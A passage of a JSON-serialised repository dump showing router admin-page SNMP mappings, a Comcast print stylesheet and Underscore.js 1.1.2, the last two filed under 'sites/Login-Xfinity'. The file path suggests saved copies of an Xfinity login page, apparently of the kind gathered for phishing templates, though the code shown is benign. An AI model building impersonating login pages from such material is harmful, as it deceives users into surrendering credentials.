\"1.3.6.1.4.1.4.2.1.5.4.472.1.4\");\nFileShareTable.FSEnableHttp     =new Column(\"FSEnableHttp\",        \"1.3.6.1.4.1.4.2.1.5.4.472.1.5\");\nFileShareTable.FSEnableFTP      =new Column(\"FSEnableFTP\",         \"1.3.6.1.4.1.4.2.1.5.4.472.1.6\");\nFileShareTable.FSDesc           =new Column(\"FSDesc\",      \"1.3.6.1.4.1.4.2.1.5.4.472.1.7\");\nFileShareTable.FSUSB12          =new Column(\"FSUSB12\",      \"1.3.6.1.4.1.4.2.1.5.4.472.1.8\");\nvar arFSDirectory       =FileShareTable.FSDirectory;\nvar arFSName            =FileShareTable.FSName;\nvar arFSVisible         =FileShareTable.FSVisible;\nvar arFSPermissions     =FileShareTable.FSPermissions;\nvar arFSEnableHttp      =FileShareTable.FSEnableHttp;\nvar arFSEnableFTP       =FileShareTable.FSEnableFTP;\nvar arFSUSB12           =FileShareTable.FSUSB12;\n\n// samba_server_config.php\nvar FileShareManage =       new Container(\"FileShareManage\", \"1.3.6.1.4.1.4.2.1.5.4.471\");\nFileShareManage.FSMShare=   new Scalar(\"FSMShare\",  \"1.3.6.1.4.1.4.2.1.5.4.471.1\",2);\nFileShareManage.FSMName=    new Scalar(\"FSMName\",   \"1.3.6.1.4.1.4.2.1.5.4.471.2\",2);\nFileShareManage.FSMReserve= new Scalar(\"FSMReserve\",\"1.3.6.1.4.1.4.2.1.5.4.471.3\",2);\nvar arFSMShare=   FileShareManage.FSMShare;\nvar arFSMName=    FileShareManage.FSMName;\nvar arFSMReserve= FileShareManage.FSMReserve;\n\n\n//qos1.php\nvar QOSSettings = new Container(\"QOSSettings\",  \"1.3.6.1.4.1.4.2.1.5.4.473\");\nQOSSettings.QOS4Wmmd=    new Scalar(\"QOS4Wmmd\", \"1.3.6.1.4.1.4.2.1.5.4.473.1\",2);\nQOSSettings.QOS4Moca=    new Scalar(\"QOS4Moca\", \"1.3.6.1.4.1.4.2.1.5.4.473.2\",2);\nQOSSettings.QOS4Lan=    new Scalar(\"QOS4Lan\",   \"1.3.6.1.4.1.4.2.1.5.4.473.3\",2);\nQOSSettings.QOS4Upnp=    new Scalar(\"QOS4Upnp\", \"1.3.6.1.4.1.4.2.1.5.4.473.4\",2);\nvar arQOS4Wmmd= QOSSettings.QOS4Wmmd;\nvar arQOS4Moca= QOSSettings.QOS4Moca;\nvar arQOS4Lan=  QOSSettings.QOS4Lan;\nvar arQOS4Upnp= QOSSettings.QOS4Upnp;\n\n//dlna_settings.php\nvar DLNASettings = new Container(\"DLNASettings\", \"1.3.6.1.4.1.4.2.1.5.4.474\");\nDLNASettings.DLNAEnabled=    new Scalar(\"DLNAEnabled\",\"1.3.6.1.4.1.4.2.1.5.4.474.1\", 2);\nDLNASettings.DLNAMediaType=    new Scalar(\"DLNAMediaType\",\"1.3.6.1.4.1.4.2.1.5.4.474.2\", 2);\nDLNASettings.DLNAMediaSrc=    new Scalar(\"DLNAMediaSrc\",\"1.3.6.1.4.1.4.2.1.5.4.474.3\", 2);\nDLNASettings.DLNAMediaPath=    new Scalar(\"DLNAMediaPath\",\"1.3.6.1.4.1.4.2.1.5.4.474.4\", 2);\n//DLNASettings.=    new Scalar(\"\",\"1.3.6.1.4.1.4.2.1.5.4.474.5\", 2);\n//DLNASettings.=    new Scalar(\"\",\"1.3.6.1.4.1.4.2.1.5.4.474.6\", 2);\nvar arDLNAEnabled=   DLNASettings.DLNAEnabled;\nvar arDLNAMediaType= DLNASettings.DLNAMediaType;\nvar arDLNAMediaSrc=  DLNASettings.DLNAMediaSrc;\nvar arDLNAMediaPath= DLNASettings.DLNAMediaPath;\n\n// digital_media_players.php\nvar DLMediaPlayer       =new Table (\"DLMediaPlayer\",\"1.3.6.1.4.1.4.2.1.5.4.475\");\nDLMediaPlayer.DLMPName  =new Column(\"FSDirectory\",  \"1.3.6.1.4.1.4.2.1.5.4.475.1.1\");\nDLMediaPlayer.DLMPAllw  =new Column(\"DLMediaPlayer\",\"1.3.6.1.4.1.4.2.1.5.4.475.1.2\");\nvar arDLMPName = DLMediaPlayer.DLMPName;\nvar arDLMPAllw = DLMediaPlayer.DLMPAllw;\n\n// digital_media_index.php\nvar DLMIndexTable       =new Table (\"DLMIndexTable\",\"1.3.6.1.4.1.4.2.1.5.4.476\");\nDLMIndexTable.DLMName   =new Column(\"DLMName\",      \"1.3.6.1.4.1.4.2.1.5.4.476.1.1\");\nDLMIndexTable.DLMGenre  =new Column(\"DLMGenre\",     \"1.3.6.1.4.1.4.2.1.5.4.476.1.2\");\nDLMIndexTable.DLMArtist =new Column(\"DLMArtist\",    \"1.3.6.1.4.1.4.2.1.5.4.476.1.3\");\nDLMIndexTable.DLMDurat  =new Column(\"DLMDurat\",     \"1.3.6.1.4.1.4.2.1.5.4.476.1.4\");\nDLMIndexTable.DLMFold   =new Column(\"DLMFold\",      \"1.3.6.1.4.1.4.2.1.5.4.476.1.5\");\nDLMIndexTable.DLMRate   =new Column(\"DLMRate\",      \"1.3.6.1.4.1.4.2.1.5.4.476.1.6\");\nDLMIndexTable.DLMAlbum  =new Column(\"DLMAlbum\",     \"1.3.6.1.4.1.4.2.1.5.4.476.1.7\");\nDLMIndexTable.DLMCmmnt  =new Column(\"DLMCmmnt\",     \"1.3.6.1.4.1.4.2.1.5.4.476.1.9\");\nDLMIndexTable.DLMType   =new Column(\"DLMType\",      \"1.3.6.1.4.1.4.2.1.5.4.476.1.8\");\nvar arDLMName   = DLMIndexTable.DLMName   ; // string\nvar arDLMGenre  = DLMIndexTable.DLMGenre  ; // 1-8,Fiction, Action, Drama, Comedy,\n                                            // Classical, Rock, Fusion, Metal.\nvar arDLMArtist = DLMIndexTable.DLMArtist ; // string\nvar arDLMDurat  = DLMIndexTable.DLMDurat  ; // number\nvar arDLMFold   = DLMIndexTable.DLMFold   ; // string\nvar arDLMRate   = DLMIndexTable.DLMRate   ; // 1-3: G, PG, R\nvar arDLMAlbum  = DLMIndexTable.DLMAlbum  ; // string (music)\nvar arDLMCmmnt  = DLMIndexTable.DLMCmmnt  ; // string (picture)\nvar arDLMType   = DLMIndexTable.DLMType   ; // png(1), jpeg(2); \n                                            // Video    (8)\n                                            // TV Shows (16)\n                                            // Pictures (24)\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/print.css",
    "content": "/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */\n\n/*----------------------------------------\nName: global.css\nDeveloped by: Seth Lemoine, Schematic\nDate Created: Dec 7, 2009\nCopyright: Comcast\n----------------------------------------*/\n\n/* Elements\n----------------------------------------*/\nbody {\n\tfont-family: Arial, Helvetica, sans-serif;\n\t\n}\n\n* {\n\tcolor: #000;\n\tfloat: none;\n\tfont-size: 11pt;\n\ttext-decoration:none;\n\twidth: auto;\n}\n\n#header,\n#footer,\n#userToolbar,\n#status,\n#nav,\na,\nbutton,\ninput,\n.noprint {\n\tdisplay: none;\n}\n\nh1 {\n\tfont-size: 24pt;\n}\n\ntable {\n\tborder-collapse: collapse;\n}\n\nth,\ntd {\n\tborder: 1px solid #ccc;\n\tpadding: 4pt;\n\ttext-align: left;\n}\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/underscore.js",
    "content": "//     (c) 2010 Jeremy Ashkenas, DocumentCloud Inc.\r\n//     Underscore is freely distributable under the MIT license.\r\n//     Portions of Underscore are inspired or borrowed from Prototype,\r\n//     Oliver Steele's Functional, and John Resig's Micro-Templating.\r\n//     For all details and documentation:\r\n//     http://documentcloud.github.com/underscore\r\n\r\n(function() {\r\n\r\n  // Baseline setup\r\n  // --------------\r\n\r\n  // Establish the root object, `window` in the browser, or `global` on the server.\r\n  var root = this;\r\n\r\n  // Save the previous value of the `_` variable.\r\n  var previousUnderscore = root._;\r\n\r\n  // Establish the object that gets thrown to break out of a loop iteration.\r\n  var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__';\r\n\r\n  // Save bytes in the minified (but not gzipped) version:\r\n  var ArrayProto = Array.prototype, ObjProto = Object.prototype;\r\n\r\n  // Create quick reference variables for speed access to core prototypes.\r\n  var slice                 = ArrayProto.slice,\r\n      unshift               = ArrayProto.unshift,\r\n      toString              = ObjProto.toString,\r\n      hasOwnProperty        = ObjProto.hasOwnProperty,\r\n      propertyIsEnumerable  = ObjProto.propertyIsEnumerable;\r\n\r\n  // All **ECMAScript 5** native function implementations that we hope to use\r\n  // are declared here.\r\n  var\r\n    nativeForEach      = ArrayProto.forEach,\r\n    nativeMap          = ArrayProto.map,\r\n    nativeReduce       = ArrayProto.reduce,\r\n    nativeReduceRight  = ArrayProto.reduceRight,\r\n    nativeFilter       = ArrayProto.filter,\r\n    nativeEvery        = ArrayProto.every,\r\n    nativeSome         = ArrayProto.some,\r\n    nativeIndexOf      = ArrayProto.indexOf,\r\n    nativeLastIndexOf  = ArrayProto.lastIndexOf,\r\n    nativeIsArray      = Array.isArray,\r\n    nativeKeys         = Object.keys;\r\n\r\n  // Create a safe reference to the Underscore object for use below.\r\n  var _ = function(obj) { return new wrapper(obj); };\r\n\r\n  // Export the Underscore object for **CommonJS**.\r\n  if (typeof exports !== 'undefined') exports._ = _;\r\n\r\n  // Export Underscore to the global scope.\r\n  root._ = _;\r\n\r\n  // Current version.\r\n  _.VERSION = '1.1.2';\r\n\r\n  // Collection Functions\r\n  // --------------------\r\n\r\n  // The cornerstone, an `each` implementation, aka `forEach`.\r\n  // Handles objects implementing `forEach`, arrays, and raw objects.\r\n  // Delegates to **ECMAScript 5**'s native `forEach` if available.\r\n  var each = _.each = _.forEach = function(obj, iterator, context) {\r\n    try {\r\n      if (nativeForEach && obj.forEach === nativeForEach) {\r\n        obj.forEach(iterator, context);\r\n      } else if (_.isNumber(obj.length)) {\r\n        for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj);\r\n      } else {\r\n        for (var key in obj) {\r\n          if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj);\r\n        }\r\n      }\r\n    } catch(e) {\r\n      if (e != breaker) throw e;\r\n    }\r\n    return obj;\r\n  };\r\n\r\n  // Return the results of applying the iterator to each element.\r\n  // Delegates to **ECMAScript 5**'s native `map` if available.\r\n  _.map = function(obj, iterator, context) {\r\n    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);\r\n    var results = [];\r\n    each(obj, function(value, index, list) {\r\n      results[results.length] = iterator.call(context, value, index, list);\r\n    });\r\n    return results;\r\n  };\r\n\r\n  // **Reduce** builds up a single result from a list of values, aka `inject`,\r\n  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.\r\n  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {\r\n    if (nativeReduce && obj.reduce === nativeReduce) {\r\n      if (context) iterator = _.bind(iterator, context);\r\n      return obj.reduce(iterator, memo);\r\n    }\r\n    each(obj, function(value, index, list) {\r\n      memo = iterator.call(context, memo, value, index, list);\r\n    });\r\n    return memo;\r\n  };\r\n\r\n  // The right-associative version of reduce, also known as `foldr`.\r\n  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.\r\n  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {\r\n    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {\r\n      if (context) iterator = _.bind(iterator, context);\r\n      return obj.reduceRight(iterator, memo);\r\n    }\r\n    var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse();\r\n    return _.reduce(reversed, iterator, memo, context);\r\n  };\r\n\r\n  // Return the first value which passes a truth test. Aliased as `detect`.\r\n  _.find = _.detect = function(obj, iterator, context) {\r\n    var result;\r\n    each(obj, function(value, index, list) {\r\n      if (iterator.call(context, value, index, list)) {\r\n        result = value;\r\n        _.breakLoop();\r\n      }\r\n    });\r\n    return result;\r\n  };\r\n\r\n  // Return all the elements that pass a truth test.\r\n  // Delegates to **ECMAScript 5**'s native `filter` if available.\r\n  // Aliased as `select`.\r\n  _.filter = _.select = function(obj, iterator, context) {\r\n    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);\r\n    var results = [];\r\n    each(obj, function(value, index, list) {\r\n      if (iterator.call(context, value, index, list)) results[results.length] = value;\r\n    });\r\n    return results;\r\n  };\r\n\r\n  // Return all the elements for which a truth test fails.\r\n  _.reject = function(obj, iterator, context) {\r\n    var results = [];\r\n    each(obj, function(value, index, list) {\r\n      if (!iterator.call(context, value, index, list)) results[results.length] = value;\r\n    });\r\n    return results;\r\n  };\r\n\r\n  // Determine whether all of the elements match a truth test.\r\n  // Delegates to **ECMAScript 5**'s native `every` if available.\r\n  // Aliased as `all`.\r\n  _.every = _.all = function(obj, iterator, context) {\r\n    iterator = iterator || _.identity;\r\n    if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);\r\n    var result = true;\r\n    each(obj, function(value, index, list) {\r\n      if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop();\r\n    });\r\n    return result;\r\n  };\r\n\r\n  // Determine if at least one element in the object matches a truth test.\r\n  // Delegates to **ECMAScript 5**'s native `some` if available.\r\n  // Aliased as `any`.\r\n  _.some = _.any = function(obj, iterator, context) {\r\n    iterator = iterator || _.identity;\r\n    if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);\r\n    var result = false;\r\n    each(obj, function(value, index, list) {\r\n      if (result = iterator.call(context, value, index, list)) _.breakLoop();\r\n    });\r\n    return result;\r\n  };\r\n\r\n  // Determine if a given value is included in the array or object using `===`.\r\n  // Aliased as `contains`.\r\n  _.include = _.contains = function(obj, target) {\r\n    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;\r\n    var found = false;\r\n    each(obj, function(value) {\r\n      if (found = value === target) _.breakLoop();\r\n    });\r\n    return found;\r\n  };\r\n\r\n  // Invoke a method (with arguments) on every item in a collection.\r\n  _.invoke = function(obj, method) {\r\n    var args = slice.call(arguments, 2);\r\n    return _.map(obj, function(value) {\r\n      return (method ? value[method] : value).apply(value, args);\r\n    });\r\n  };\r\n\r\n  // Convenience version of a common use case of `map`: fetching a property.\r\n  _.pluck = function(obj, key) {\r\n    return _.map(obj, function(value){ return value[key]; });\r\n  };\r\n\r\n  // Return the maximum element or (element-based computation).\r\n  _.max = function(obj, iterator, context) {\r\n    if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj);\r\n    var result = {computed : -Infinity};\r\n    each(obj, function(value, index, list) {\r\n      var computed = iterator ? iterator.call(context, value, index, list) : value;\r\n      computed >= result.computed && (result = {value : value, computed : computed});\r\n    });\r\n    return result.value;\r\n  };\r\n\r\n  // Return the minimum element (or element-based computation).\r\n  _.min = function(obj, iterator, context) {\r\n    if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj);\r\n    var result = {computed : Infinity};\r\n    each(obj, function(value, index, list) {\r\n      var computed = iterator ? iterator.call(context, value, index, list) : value;\r\n      computed < result.computed && (result = {value : value, computed : computed});\r\n    });\r\n    return result.value;\r\n  };\r\n\r\n  // Sort the object's values by a criterion produced by an iterator.\r\n  _.sortBy = function(obj, iterator, context) {\r\n    return _.pluck(_.map(obj, function(value, index, list) {\r\n      return {\r\n        value : value,\r\n        criteria : iterator.call(context, value, index, list)\r\n      };\r\n    }).sort(function(left, right) {\r\n      var a = left.criteria, b = right.criteria;\r\n      return a < b ? -1 : a > b ? 1 : 0;\r\n    }), 'value');\r\n  };\r\n\r\n  // Use a comparator function to figure out at what index an object should\r\n  // be inserted so as to maintain order. Uses binary search.\r\n  _.sortedIndex = function(array, obj, iterator) {\r\n    iterator = iterator || _.identity;\r\n    var low = 0, high = array.length;\r\n    while (low < high) {\r\n      var mid = (low + high) >> 1;\r\n      iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;\r\n    }\r\n    return low;\r\n  };\r\n\r\n  // Safely convert anything iterable into a real, live array.\r\n  _.toArray = function(iterable) {\r\n    if (!iterable)                return [];\r\n    if (iterable.toArray)         return iterable.toArray();\r\n    if (_.isArray(iterable))      return iterable;\r\n    if (_.isArguments(iterable))  return slice.call(iterable);\r\n    return _.values(iterable);\r\n  };\r\n\r\n  // Return the number of elements in an object.\r\n  _.size = function(obj) {\r\n    return _.toArray(obj).length;\r\n  };\r\n\r\n  // Array Functions\r\n  // ---------------\r\n\r\n  // Get the first element of an array. Passing **n** will return the first N\r\n  // values in the array. Aliased as `head`. The **guard** check allows it to work\r\n  // with `_.map`.\r\n  _.first = _.head = function(array, n, guard) {\r\n    return n && !guard ? slice.call(array, 0, n) : array[0];\r\n  };\r\n\r\n  // Returns everything but the first entry of the array. Aliased as `tail`.\r\n  // Especially useful on the arguments object. Passing an **index** will return\r\n  // the rest of the values in the array from that index onward. The **guard**\r\n  // check allows it to work with `_.map`.\r\n  _.rest = _.tail = function(array, index, guard) {\r\n    return slice.call(array, _.isUndefined(index) || guard ? 1 : index);\r\n  };\r\n\r\n  // Get the last element of an array.\r\n  _.last = function(array) {\r\n    return array[array.length - 1];\r\n  };\r\n\r\n  // Trim out all falsy values from an array.\r\n  _.compact = function(array) {\r\n    return _.filter(array, function(value){ return !!value; });\r\n  };\r\n\r\n  // Return a completely flattened version of an array.\r\n  _.flatten = function(array) {\r\n    return _.reduce(array, function(memo, value) {\r\n      if (_.isArray(value)) return memo.concat(_.flatten(value));\r\n      memo[memo.length] = value;\r\n      return memo;\r\n    }, []);\r\n  };\r\n\r\n  // Return a version of the array that does not contain the specified value(s).\r\n  _.without = function(array) {\r\n    var values = slice.call(arguments, 1);\r\n    return _.filter(array, function(value){ return !_.include(values, value); });\r\n  };\r\n\r\n  // Produce a duplicate-free version of the array. If the array has already\r\n  // been sorted, you have the option of using a faster algorithm.\r\n  // Aliased as `unique`.\r\n  _.uniq = _.unique = function(array, isSorted) {\r\n    return _.reduce(array, function(memo, el, i) {\r\n      if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el;\r\n      return memo;\r\n    }, []);\r\n  };\r\n\r\n  // Produce an array that contains every item shared between all the\r\n  // passed-in arrays.\r\n  _.intersect = function(array) {\r\n    var rest = slice.call(arguments, 1);\r\n    return _.filter(_.uniq(array), function(item) {\r\n      return _.every(rest, function(other) {\r\n        return _.indexOf(other, item) >= 0;\r\n      });\r\n    });\r\n  };\r\n\r\n  // Zip together multiple lists into a single array -- elements that share\r\n  // an index go together.\r\n  _.zip = function() {\r\n    var args = slice.call(arguments);\r\n    var length = _.max(_.pluck(args, 'length'));\r\n    var results = new Array(length);\r\n    for (var i = 0; i < length; i++) results[i] = _.pluck(args, \"\" + i);\r\n    return results;\r\n  };\r\n\r\n  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),\r\n  // we need this function. Return the position of the first occurence of an\r\n  // item in an array, or -1 if the item is not included in the array.\r\n  // Delegates to **ECMAScript 5**'s native `indexOf` if available.\r\n  _.indexOf = function(array, item) {\r\n    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);\r\n    for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i;\r\n    return -1;\r\n  };\r\n\r\n\r\n  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.\r\n  _.lastIndexOf = function(array, item) {\r\n    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);\r\n    var i = array.length;\r\n    while (i--) if (array[i] === item) return i;\r\n    return -1;\r\n  };\r\n\r\n  // Generate an integer Array containing an arithmetic progression. A port of\r\n  // the native Python `range()` function. See\r\n  // [the Python documentation](http://docs.python.org/library/functions.html#range).\r\n  _.range = function(start, stop, step) {\r\n    var args  = slice.call(arguments),\r\n        solo  = args.length <= 1,\r\n        start = solo ? 0 : args[0],\r\n        stop  = solo ? args[0] : args[1],\r\n        step  = args[2] || 1,\r\n        len   = Math.max(Math.ceil((stop - start) / step), 0),\r\n        idx   = 0,\r\n        range = new Array(len);\r\n    while (idx < len) {\r\n      range[idx++] = start;\r\n      start += step;\r\n    }\r\n    return range;\r\n  };\r\n\r\n  // Function (ahem) Functions\r\n  // ------------------\r\n\r\n  // Create a function bound to a given object (assigning `this`, and arguments,\r\n  // optionally). Binding with arguments is also known as `curry`.\r\n  _.bind = function(func, obj) {\r\n    var args = slice.call(arguments, 2);\r\n    return function() {\r\n      return func.apply(obj || {}, args.concat(slice.call(arguments)));\r\n    };\r\n  };\r\n\r\n  // Bind all of an object's methods to that object. Useful for ensuring that\r\n  // all callbacks defined on an object belong to it.\r\n  _.bindAll = function(obj) {\r\n    var funcs = slice.call(arguments, 1);\r\n    if (funcs.length == 0) funcs = _.functions(obj);\r\n    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });\r\n    return obj;\r\n  };\r\n\r\n  // Memoize an expensive function by storing its results.\r\n  _.memoize = function(func, hasher) {\r\n    var memo = {};\r\n    hasher = hasher || _.identity;\r\n    return function() {\r\n      var key = hasher.apply(this, arguments);\r\n      return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments));\r\n    };\r\n  };\r\n\r\n  // Delays a function for the given number of milliseconds, and then calls\r\n  // it with the arguments supplied.\r\n  _.delay = function(func, wait) {\r\n    var args = slice.call(arguments, 2);\r\n    return setTimeout(function(){ return func.apply(func, args); }, wait);\r\n  };\r\n\r\n  // Defers a function, scheduling it to run after the current call stack has\r\n  // cleared.\r\n  _.defer = function(func) {\r\n    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));\r\n  };\r\n\r\n  // Returns the first function passed as an argument to the second,\r\n  // allowing you to adjust arguments, run code before and after, and\r\n  // conditionally execute the original function.\r\n  _.wrap = function(func, wrapper) {\r\n    return function() {\r\n      var args = [func].concat(slice.call(arguments));\r\n      return wrapper.apply(wrapper, args);\r\n    };\r\n  };\r\n\r\n  // Returns a function that is the composition of a list of functions, each\r\n  // consuming the return value of the function that follows.\r\n  _.compose = function() {\r\n    var funcs = slice.call(arguments);\r\n    return function() {\r\n      var args = slice.call(arguments);\r\n      for (var i=funcs.length-1; i >= 0; i--) {\r\n        args = [funcs[i].apply(this, args)];\r\n      }\r\n      return args[0];\r\n    };\r\n  };\r\n\r\n  // Object Functions\r\n  // ----------------\r\n\r\n  // Retrieve the names of an object's properties.\r\n  // Delegates to **ECMAScript 5**'s native `Object.keys`\r\n  _.keys = nativeKeys || function(obj) {\r\n    if (_.isArray(obj)) return _.range(0, obj.length);\r\n    var keys = [];\r\n    for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key;\r\n    return keys;\r\n  };\r\n\r\n  // Retrieve the values of an object's properties.\r\n  _.values = function(obj) {\r\n    return _.map(obj, _.identity);\r\n  };\r\n\r\n  // Return a sorted list of the function names available on the object.\r\n  // Aliased as `methods`\r\n  _.functions = _.methods = function(obj) {\r\n    return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort();\r\n  };\r\n\r\n  // Extend a given object with all the properties in passed-in object(s).\r\n  _.extend = function(obj) {\r\n    each(slice.call(arguments, 1), function(source) {\r\n      for (var prop in source) obj[prop] = source[prop];\r\n    });\r\n    return obj;\r\n  };\r\n\r\n  // Create a (shallow-cloned) duplicate of an object.\r\n  _.clone = function(obj) {\r\n    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);\r\n  };\r\n\r\n  // Invokes interceptor with the obj, and then returns obj.\r\n  // The primary purpose of this method is to \"tap into\" a method chain, in\r\n  // order to perform operations on intermediate results within the chain.\r\n  _.tap = function(obj, interceptor) {\r\n    interceptor(obj);\r\n    return obj;\r\n  };\r\n\r\n  // Perform a deep comparison to check if two objects are equal.\r\n  _.isEqual = function(a, b) {\r\n    // Check object identity.\r\n    if (a === b) return true;\r\n    // Different types?\r\n    var atype = typeof(a), btype = typeof(b);\r\n    if (atype != btype) return false;\r\n    // Basic equality test (watch out for coercions).\r\n    if (a == b) return true;\r\n    // One is falsy and the other truthy.\r\n    if ((!a && b) || (a && !b)) return false;\r\n    // One of them implements an isEqual()?\r\n    if (a.isEqual) return a.isEqual(b);\r\n    // Check dates' integer values.\r\n    if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime();\r\n    // Both are NaN?\r\n    if (_.isNaN(a) && _.isNaN(b)) return false;\r\n    // Compare regular expressions.\r\n    if (_.isRegExp(a) && _.isRegExp(b))\r\n      return a.source     === b.source &&\r\n             a.global     === b.global &&\r\n             a.ignoreCase === b.ignoreCase &&\r\n             a.multiline  === b.multiline;\r\n    // If a is not an object by this point, we can't handle it.\r\n    if (atype !== 'object') return false;\r\n    // Check for different array lengths before comparing contents.\r\n    if (a.length && (a.length !== b.length)) return false;\r\n    // Nothing else worked, deep compare the contents.\r\n    var aKeys = _.keys(a), bKeys = _.keys(b);\r\n    // Different object sizes?\r\n    if (aKeys.length != bKeys.length) return false;\r\n    // Recursive comparison of contents.\r\n    for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false;\r\n    return true;\r\n  };\r\n\r\n  // Is a given array or object empty?\r\n  _.isEmpty = function(obj) {\r\n    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;\r\n    for (var key in obj) if (hasOwnProperty.call(obj, key)) return false;\r\n    return true;\r\n  };\r\n\r\n  // Is a given value a DOM element?\r\n  _.isElement = function(obj) {\r\n    return !!(obj && obj.nodeType == 1);\r\n  };\r\n\r\n  // Is a given value an array?\r\n  // Delegates to ECMA5's native Array.isArray\r\n  _.isArray = nativeIsArray || function(obj) {\r\n    return !!(obj && obj.concat && obj.unshift && !obj.callee);\r\n  };\r\n\r\n  // Is a given variable an arguments object?\r\n  _.isArguments = function(obj) {\r\n    return !!(obj && obj.callee);\r\n  };\r\n\r\n  // Is a given value a function?\r\n  _.isFunction = function(obj) {\r\n    return !!(obj && obj.constructor && obj.call && obj.apply);\r\n  };\r\n\r\n  // Is a given value a string?\r\n  _.isString = function(obj) {\r\n    return !!(obj === '' || (obj && obj.charCodeAt && obj.substr));\r\n  };\r\n\r\n  // Is a given value a number?\r\n  _.isNumber = function(obj) {\r\n    return (obj === +obj) || (toString.call(obj) === '[object Number]');\r\n  };\r\n\r\n  // Is a given value a boolean?\r\n  _.isBoolean = function(obj) {\r\n    return obj === true || obj === false;\r\n  };\r\n\r\n  // Is a given value a date?\r\n  _.isDate = function(obj) {\r\n    return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear);\r\n  };\r\n\r\n  // Is the given value a regular expression?\r\n  _.isRegExp = function(obj) {\r\n    return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false));\r\n  };\r\n\r\n  // Is the given value NaN -- this one is interesting. NaN != NaN, and\r\n  // isNaN(undefined) == true, so we make sure it's a number first.\r\n  _.isNaN = function(obj) {\r\n    return _.isNumber(obj) && isNaN(obj);\r\n  };\r\n\r\n  // Is a given value equal to null?\r\n  _.isNull = function(obj) {\r\n    return obj === null;\r\n  };\r\n\r\n  // Is a given variable undefined?\r\n  _.isUndefined = function(obj) {\r\n    return typeof obj == 'undefined';\r\n  };\r\n\r\n  // Utility Functions\r\n  // -----------------\r\n\r\n  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its\r\n  // previous owner. Returns a reference to the Underscore object.\r\n  _.noConflict = function() {\r\n    root._ = previousUnderscore;\r\n    return this;\r\n  };\r\n\r\n  // Keep the identity function around for default iterators.\r\n  _.identity = function(value) {\r\n    return value;\r\n  };\r\n\r\n  // Run a function **n** times.\r\n  _.times = function (n, iterator, context) {\r\n    for (var i = 0; i < n; i++) iterator.call(context, i);\r\n  };\r\n\r\n  // Break out of the middle of an iteration.\r\n  _.breakLoop = function() {\r\n    throw breaker;\r\n  };\r\n\r\n  // Add your own custom functions to the Underscore object, ensuring that\r\n  // they're correctly added to the OOP wrapper as well.\r\n  _.mixin = function(obj) {\r\n    each(_.functions(obj), function(name){\r\n      addToWrapper(name, _[name] = obj[name]);\r\n    });\r\n  };\r\n\r\n  // Generate a unique integer id (unique within the entire client session).\r\n  // Useful for temporary DOM ids.\r\n  var idCounter = 0;\r\n  _.uniqueId = function(prefix) {\r\n    var id = idCounter++;\r\n    return prefix ? prefix + id : id;\r\n  };\r\n\r\n  // By default, Underscore uses ERB-style template delimiters, change the\r\n  // following template settings to use alternative delimiters.\r\n  _.templateSettings = {\r\n    evaluate    : /<%([\\s\\S]+?)%>/g,\r\n    interpolate : /<%=([\\s\\S]+?)%>/g\r\n  };\r\n\r\n  // JavaScript micro-templating, similar to John Resig's implementation.\r\n  // Underscore templating handles arbitrary delimiters, preserves whitespace,\r\n  // and correctly escapes quotes within interpolated code.\r\n  _.template = function(str, data) {\r\n    var c  = _.templateSettings;\r\n    var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' +\r\n      'with(obj||{}){__p.push(\\'' +\r\n      str.replace(/'/g, \"\\\\'\")\r\n         .replace(c.interpolate, function(match, code) {\r\n           return \"',\" + code.replace(/\\\\'/g, \"'\") + \",'\";\r\n         })\r\n         .replace(c.evaluate || null, function(match, code) {\r\n           return \"');\" + code.replace(/\\\\'/g, \"'\")\r\n                              .replace(/[\\r\\n\\t]/g, ' ') + \"__p.push('\";\r\n         })\r\n         .replace(/\\r/g, '\\\\r')\r\n         .replace(/\\n/g, '\\\\n')\r\n         .replace(/\\t/g, '\\\\t')\r\n         + \"');}return __p.join('');\";\r\n    var func = new Function('obj', tmpl);\r\n    return data ? func(data) : func;\r\n  };\r\n\r\n  // The OOP Wrapper\r\n  // ---------------\r\n\r\n  // If Underscore is called as a function, it returns a wrapped object that\r\n  // can be used OO-style. This wrapper holds altered versions of all the\r\n  // underscore functions. Wrapped objects may be chained.\r\n  var wrapper = function(obj) { this._wrapped = obj; };\r\n\r\n  // Expose `wrapper.prototype` as `_.prototype`\r\n  _.prototype = 